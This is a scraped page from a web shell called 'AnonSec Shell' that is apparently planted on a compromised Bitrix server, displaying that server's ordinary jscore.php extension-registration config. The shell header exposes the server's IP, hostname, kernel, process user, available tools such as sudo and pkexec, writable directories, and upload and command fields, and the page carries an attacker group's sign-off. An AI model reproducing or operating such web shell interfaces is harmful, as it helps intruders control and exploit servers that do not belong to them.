AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.142.42.94
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/main/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/main/jscore.php
<?php

$pathJS = '/bitrix/js/main/core';
$pathCSS = '/bitrix/js/main/core/css';
$pathCSSPanel = '/bitrix/panel/main';
$pathLang = BX_ROOT.'/modules/main';
//WARNING: Don't use CUserOptions here! CJSCore::Init can be called from php_interface/init.php where no $USER exists

$amChartsPath = '/bitrix/js/main/amcharts/3.21/';
$amCharts4Path = '/bitrix/js/main/amcharts/4.8.5/';

$arJSCoreConfig = array(
	'ajax' => array(
		'js' => $pathJS.'/core_ajax.js',
	),
	'admin' => array(
		'js' => $pathJS.'/core_admin.js',
		'css' => array($pathCSS.'/core_panel.css', $pathCSSPanel.'/admin-public.css'),
		'lang' => $pathLang.'/js_core_admin.php',
		'rel' => array('ui.design-tokens', 'ui.fonts.opensans', 'ajax'),
		'use' => CJSCore::USE_PUBLIC,
	),
	'admin_interface' => array(
		'js' => $pathJS.'/core_admin_interface.js',
		'lang' => $pathLang.'/js_core_admin_interface.php',
		'css' => $pathCSSPanel.'/admin-public.css',
		'rel' => array('ui.design-tokens', 'ui.fonts.opensans', 'ajax', 'popup', 'window', 'date', 'fx'),
		'lang_additional' => array(
			'TITLE_PREFIX' => CUtil::JSEscape(COption::GetOptionString("main", "site_name", $_SERVER["SERVER_NAME"] ?? ''))
				. " - ",
		),
	),
	"admin_login" => array(
		'js' => $pathJS."/core_admin_login.js",
		'css' => $pathCSSPanel."/login.css",
		'rel' => array("ajax", "window"),
	),
	'autosave' => array(
		'js' => $pathJS.'/core_autosave.js',
		'lang' => $pathLang.'/js_core_autosave.php',
		'rel' => array('ajax', 'main.pageobject'),
	),
	'fx' => array(
		'js' => $pathJS.'/core_fx.js',
	),
	'dd' => array(
		'js' => $pathJS.'/core_dd.js',
	),
	'dnd' => array(
		'js' => '/bitrix/js/main/dd.js',
	),
	'webrtc' => array(
		'js' => $pathJS.'/core_webrtc.js',
		'rel' => array('webrtc_adapter')
	),
	'popup' => array(
		'rel' => array('main.popup')
	),
	'tags' => array(
		'js' => $pathJS.'/core_tags.js',
		'css' => $pathCSS.'/core_tags.css',
		'lang' => $pathLang.'/js_core_tags.php',
		'rel' => array('ui.design-tokens', 'popup'),
	),
	'timer' => array(
		'js' => $pathJS.'/core_timer.js',
	),
	'tooltip' => array(
		'js' => $pathJS.'/core_tooltip.js',
		'css' => $pathCSS.'/core_tooltip.css',
		'rel' => array('ajax', 'ui.tooltip'),
		'lang_additional' => array('TOOLTIP_ENABLED' => (IsModuleInstalled("socialnetwork") && COption::GetOptionString("socialnetwork", "allow_tooltip", "Y") == "Y" ? "Y" : "N")),
	),
	'translit' => array(
		'js' => $pathJS.'/core_translit.js',
		'lang' => $pathLang.'/js_core_translit.php',
		'lang_additional' => array('YANDEX_KEY' => COption::GetOptionString('main', 'translate_key_yandex', '')),
	),
	'image' => array(
		'js' => $pathJS.'/core_image.js',
		'css' => $pathCSS.'/core_image.css',
		'rel' => array('ls'),
	),
	'viewer' => array(
		'js' => $pathJS.'/core_viewer.js',
		'css' => $pathCSS.'/core_viewer.css',
		'lang' => $pathLang.'/js_core_viewer.php',
		'rel' => array('ui.design-tokens', 'ui.fonts.opensans', 'ls', 'ajax', 'popup', 'loader',),
		'lang_additional' => array('DISK_MYOFFICE' => COption::GetOptionString('disk', 'demo_myoffice', false))
	),
	'window' => array(
		'js' => $pathJS.'/core_window.js',
		//'css' => $pathCSS.'/core_window.css',
		'css' => $pathCSSPanel.'/popup.css',
		'rel' => array('ui.design-tokens', 'ajax', 'main.pageobject'),
		'lang' => $pathLang.'/js_core.php',
	),
	'access' => array(
		'js' => $pathJS.'/core_access.js',
		'css' => $pathCSS.'/core_access.css',
		'rel' => array('ui.design-tokens', 'popup', 'ajax', 'finder'),
		'lang' => $pathLang.'/js_core_access.php',
	),
	'finder' => array(
		'js' => $pathJS.'/core_finder.js',
		'css' => $pathCSS.'/core_finder.css',
		'rel' => array('ui.design-tokens', 'popup', 'ajax', 'db_indexeddb',),
	),
	'user' => array(
		'js' => $pathJS.'/core_user.js',
		'lang' => $pathLang.'/js_core_user.php',
		'rel' => array('date'),
		'lang_additional' => array(
			'LIMIT_ONLINE' => method_exists('CUser', 'GetSecondsForLimitOnline')? CUser::GetSecondsForLimitOnline(): 1440 // we use this condition because has a fatal error while running updater "main 17.5.0" witch calling the OnAfterEpilog event.
		),
	),
	'date' => array(
		'js' => $pathJS.'/core_date.js',
		'css' => $pathCSS.'/core_date.css',
		'lang_additional' => array(
			'WEEK_START' => \Bitrix\Main\Context::getCurrent()->getCulture()->getWeekStart(),
		),
		'rel' => array('ui.design-tokens', 'main.date', 'popup'),
	),
	'ls' => array(
		'js' => $pathJS.'/core_ls.js'
	),
	'db' => array(
		'js' => $pathJS.'/core_db.js',
	),
	'db_indexeddb' => array(
		'js' => $pathJS.'/core_db_indexeddb.js',
	),
	'fc' => array(
		'js' => $pathJS . '/core_frame_cache.js',
		'rel' => array('ui.dexie','ajax', 'ls', 'fx')
	),
	'avatar_editor' => array(
		'rel' => array('ui.avatar-editor'),
	),
	'canvas' => array(
		'js' => $pathJS.'/core_canvas.js',
		'css' => $pathCSS.'/core_canvas.css',
		'lang' => $pathLang.'/js_core_canvas.php',
		'rel' => array('ui.design-tokens', 'popup'),
	),
	'uploader' => array(
		'js' => array(
			$pathJS.'/core_uploader/common.js',
			$pathJS.'/core_uploader/uploader.js',
			$pathJS.'/core_uploader/file.js',
			$pathJS.'/core_uploader/queue.js',
		),
		'lang_additional' => array(
			"phpMaxFileUploads" => ini_get("max_file_uploads"),
			"phpPostMaxSize" => CUtil::Unformat(ini_get("post_max_size")),
			"phpUploadMaxFilesize" => CUtil::Unformat(ini_get("upload_max_filesize")),
			"bxImageExtensions" => CFile::GetImageExtensions(),
			"bxUploaderLog" => COption::GetOptionString("main", "uploaderLog", "N"),
			"bxQuota"=> CDiskQuota::getInstance()->GetDiskQuota()
		),
		'lang' => $pathLang.'/js_core_uploader.php',
		'rel' => array('ajax', 'dd'),
		'bundle_js' => 'coreuploader'
	),
	'site_speed' => array(
		'js' => $pathJS.'/site_speed/site_speed.js',
		'lang' => $pathLang.'/js_site_speed.php',
		'rel' => array('amcharts_serial', 'ajax', "date")
	),
	'qrcode' => [
		'rel' => ['main.qrcode']
	],
	'fileinput' => array(
		'js' => $pathJS.'/core_fileinput.js',
		'css' => $pathCSS.'/core_fileinput.css',
		'lang' => $pathLang.'/js_core_fileinput.php',
		'rel' => array("ui.design-tokens", "ajax", "window", "popup", "uploader", "canvas", "dd",)
	),
	'clipboard' => array(
		'js' => $pathJS.'/core_clipboard.js',
		'lang' => $pathLang.'/js_core_clipboard.php',
		'rel' => array("popup")
	),
	'recorder' => array(
		'js' => '/bitrix/js/main/recorder/recorder.js',
		'rel' => array('lamejs')
	),
	'pin' => array(
		'js' => '/bitrix/js/main/pin/pin.js',
		'css' => '/bitrix/js/main/pin/css/pin.css'
	),
	'ui_select' => array(
		'js' => $pathJS.'/core_ui_select.js',
		'css' => $pathCSS.'/core_ui_select.css',
		'rel' => array('popup')
	),
	'ui_date' => array(
		'js' => $pathJS.'/core_ui_date.js',
		'css' => $pathCSS.'/core_ui_date.css',
		'rel' => array('ui_factory')
	),
	'ui_factory' => array(
		'js' => $pathJS.'/core_ui_factory.js',
		'css' => $pathCSS.'/core_ui_control.css',
		'rel' => array('ui.design-tokens', 'decl',)
	),
	'ui' => array(
		'rel' => array(
			'ui_factory',
			'ui_select',
			'ui_date'
		)
	),
	'resize_observer' => array(
		'js' => array(
			$pathJS.'/resize_observer/resize_observer_collection.js',
			$pathJS.'/resize_observer/resize_observer_item_collection.js',
			$pathJS.'/resize_observer/resize_observer_item_rect.js',
			$pathJS.'/resize_observer/resize_observer_item.js',
			$pathJS.'/resize_observer/resize_observer.js'
		)
	),
	'decl' => array(
		'js' => $pathJS.'/core_decl.js'
	),
	'drag_drop' => array(
		'js' => $pathJS.'/core_dragdrop.js'
	),
	'kanban' => array(
		'rel' => array('main.kanban'),
	),
	'color_picker' => array(
		'js'  => array(
			'/bitrix/js/main/colorpicker/colorpicker.js',
		),
		'css' => array(
			'/bitrix/js/main/colorpicker/css/colorpicker.css',
		),
		'lang' => $pathLang.'/js/colorpicker.php',
		'rel' => array('ui.design-tokens', 'popup',),
	),
	'masked_input' => array(
		'js' => array(
			'/bitrix/js/main/masked_input.js'
		)
	),
	'fullscreen' => array(
		'js' => $pathJS.'/core_fullscreen.js'
	),
	'spotlight' => array(
		'js' => '/bitrix/js/main/spotlight/spotlight.js',
		'css' => '/bitrix/js/main/spotlight/css/spotlight.css',
		'lang' => $pathLang.'/js/spotlight.php',
		'rel' => array('ui.dialogs.messagebox', 'ajax'),
		'bundle_js' => 'spotlight',
		'bundle_css' => 'spotlight',
	),
	'sidepanel' => array(
		'js' => array(
			'/bitrix/js/main/sidepanel/manager.js',
			'/bitrix/js/main/sidepanel/slider.js'
		),
		'css' => '/bitrix/js/main/sidepanel/css/sidepanel.css',
		'rel' => array(
			'ajax',
			'fx',
			'main.pageobject',
			'clipboard',
			'ui.fonts.opensans',
			'popup',
			'ui.icon-set.actions',
			'ui.icon-set.main',
		),
		'lang' => $pathLang.'/js/sidepanel.php',
		'bundle_js' => 'sidepanel',
		'bundle_css' => 'sidepanel'
	),
	'admin_sidepanel' => array(
		'js' => array(
			'/bitrix/js/main/admin_sidepanel.js',
		),
		'rel' => array('admin_interface', 'sidepanel'),
	),
	'helper' => array(
		'js' => '/bitrix/js/main/helper/helper.js',
		'css' => '/bitrix/js/main/helper/css/helper.css',
		'rel' => array('sidepanel', 'ajax', 'ui.fonts.opensans'),
		'lang' => $pathLang.'/js/helper.php',
	),
	'webrtc_adapter' => array(
		'js' => '/bitrix/js/main/webrtc/adapter.js'
	),

	'update_stepper' => array(
		'js' => $pathJS.'/core_update_stepper.js',
		'css' => $pathCSS.'/core_update_stepper.css',
		'lang' => $pathLang.'/js_core_update_stepper.php',
		'rel' => array('ajax', 'ui.design-tokens', 'ui.fonts.opensans'),
	),
	'uf' => array(
		'js' => $pathJS.'/core_uf.js',
		'css' => $pathCSS.'/core_uf.css',
		'rel' => array('ajax'),
		'oninit' => function()
		{
			$templateId = (defined('SITE_TEMPLATE_ID') ? SITE_TEMPLATE_ID : '');
			return array(
				'lang_additional' => array(
					'UF_SITE_TPL' => $templateId,
					'UF_SITE_TPL_SIGN' => \Bitrix\Main\UserField\Dispatcher::instance()->getSignatureManager()->getSignature($templateId),
				),
			);
		}
	),
	'phone_number' => array(
		'js' => '/bitrix/js/main/phonenumber/phonenumber.js',
		'css' => '/bitrix/js/main/phonenumber/css/phonenumber.css',
		'oninit' => function()
		{
			return array(
				'lang_additional' => array(
					'phone_number_default_country' => \Bitrix\Main\PhoneNumber\Parser::getDefaultCountry(),
					'user_default_country' => \Bitrix\Main\PhoneNumber\Parser::getUserDefaultCountry()
				)
			);
		},
		'rel' => array('popup'),
	),
	'loader' => array(
		'rel' => [
			'main.loader'
		]
	),
	'phone_auth' => array(
		'js' => $pathJS.'/core_phone_auth.js',
		'lang' => $pathLang.'/js_core_phone_auth.php',
		'rel' => array('ajax'),
	),
	'message' => array(
		'js' => $pathJS.'/core_message.js',
		'skip_core' => true,
	),

	/* auto loaded libs */

	'promise' => array(
		'js' => $pathJS.'/core_promise.js',
		'skip_core' => true,
	),
	'loadext' => array(
		'js' => array(
			'/bitrix/js/main/loadext/loadext.js',
			'/bitrix/js/main/loadext/extension.js',
		),
		'rel' => array('main.polyfill.promise'),
	),

	/* external libs */
	'jquery' => array(
		'js' => '/bitrix/js/main/jquery/jquery-1.12.4.min.js',
		'skip_core' => true,
	),
	'jquery_src' => array(
		'js' => '/bitrix/js/main/jquery/jquery-1.12.4.js',
		'skip_core' => true,
	),
	'jquery2' => array(
		'js' => '/bitrix/js/main/jquery/jquery-2.2.4.min.js',
		'skip_core' => true,
	),
	'jquery2_src' => array(
		'js' => '/bitrix/js/main/jquery/jquery-2.2.4.js',
		'skip_core' => true,
	),
	'jquery3' => array(
		'js' => '/bitrix/js/main/jquery/jquery-3.6.0.min.js',
		'skip_core' => true,
	),
	'jquery3_src' => array(
		'js' => '/bitrix/js/main/jquery/jquery-3.6.0.js',
		'skip_core' => true,
	),
	'json' => array(
		// Deleted as unnecessary
		// 'js' => '/bitrix/js/main/json/json2.min.js',
		'skip_core' => true,
	),
	'json_src' => array(
		// Deleted as unnecessary
		// 'js' => '/bitrix/js/main/json/json2.js',
		'skip_core' => true,
	),
	'amcharts' => array(
		'js' => $amChartsPath.'amcharts.js',
		'lang_additional' => array(
			'AMCHARTS_PATH' => $amChartsPath, // will be needed in 3.14
			'AMCHARTS_IMAGES_PATH' => $amChartsPath.'images/',
		),
		'skip_core' => true,
	),
	'amcharts_i18n' => array(
		'js' => $amChartsPath.LANGUAGE_ID.'/'.LANGUAGE_ID.'.js',
		'skip_core' => true,
	),
	'amcharts_funnel' => array(
		'js' => $amChartsPath.'funnel.js',
		'rel' => array('amcharts'),
		'skip_core' => true,
	),
	'amcharts_gauge' => array(
		'js' => $amChartsPath.'gauge.js',
		'rel' => array('amcharts'),
		'skip_core' => true,
	),
	'amcharts_pie' => array(
		'js' => $amChartsPath.'pie.js',
		'rel' => array('amcharts'),
		'skip_core' => true,
	),
	'amcharts_radar' => array(
		'js' => $amChartsPath.'radar.js',
		'rel' => array('amcharts'),
		'skip_core' => true,
	),
	'amcharts_serial' => array(
		'js' => $amChartsPath.'serial.js',
		'rel' => array('amcharts'),
		'skip_core' => true,
	),
	'amcharts_xy' => array(
		'js' => $amChartsPath.'xy.js',
		'rel' => array('amcharts'),
		'skip_core' => true,
	),
	'amcharts4_core' => array(
		'js' => [
			$amCharts4Path.'core.js',
			$amCharts4Path.'init.js',
		],
		'skip_core' => true,
	),
	'amcharts4' => array(
		'js' => [
			$amCharts4Path.'charts.js',
		],
		'skip_core' => true,
		'rel' => array('amcharts4_core')
	),
	'amcharts4_theme_animated' => array(
		'js' => [
			$amCharts4Path.'themes/animated.js',
		],
		'skip_core' => true,
		'rel' => array('amcharts4_core')
	),
	'amcharts4_maps' => array(
		'js' => $amCharts4Path.'maps.js',
		'skip_core' => true,
	),
	'lamejs' => array(
		'js' => '/bitrix/js/main/recorder/recorder.js'
	),
);

\Bitrix\Main\Page\Asset::getInstance()->addJsKernelInfo(
	'main',
	array(
		'/bitrix/js/main/pageobject/pageobject.js',
		'/bitrix/js/main/core/core.js',
		'/bitrix/js/main/core/core_tooltip.js',
		'/bitrix/js/main/date/main.date.js',
		'/bitrix/js/main/core/core_date.js',
		'/bitrix/js/main/core/core_timer.js',
		'/bitrix/js/main/core/core_fx.js',
		'/bitrix/js/main/core/core_window.js',
		'/bitrix/js/main/core/core_autosave.js',
		'/bitrix/js/main/rating_like.js',
		'/bitrix/js/main/session.js',
		'/bitrix/js/main/dd.js',
		'/bitrix/js/main/utils.js',
		'/bitrix/js/main/core/core_dd.js',
		'/bitrix/js/main/core/core_webrtc.js',
		'/bitrix/js/main/core/core_uf.js'
	)
);

\Bitrix\Main\Page\Asset::getInstance()->addCssKernelInfo(
	'main',
	array(
		'/bitrix/js/main/core/css/core_tooltip.css',
		'/bitrix/js/main/core/css/core_date.css',
		'/bitrix/js/main/core/css/core_uf.css'
	)
);

foreach ($arJSCoreConfig as $ext => $arExt)
{
	CJSCore::RegisterExt($ext, $arExt);
}

Anon7 - 2022
AnonSec Team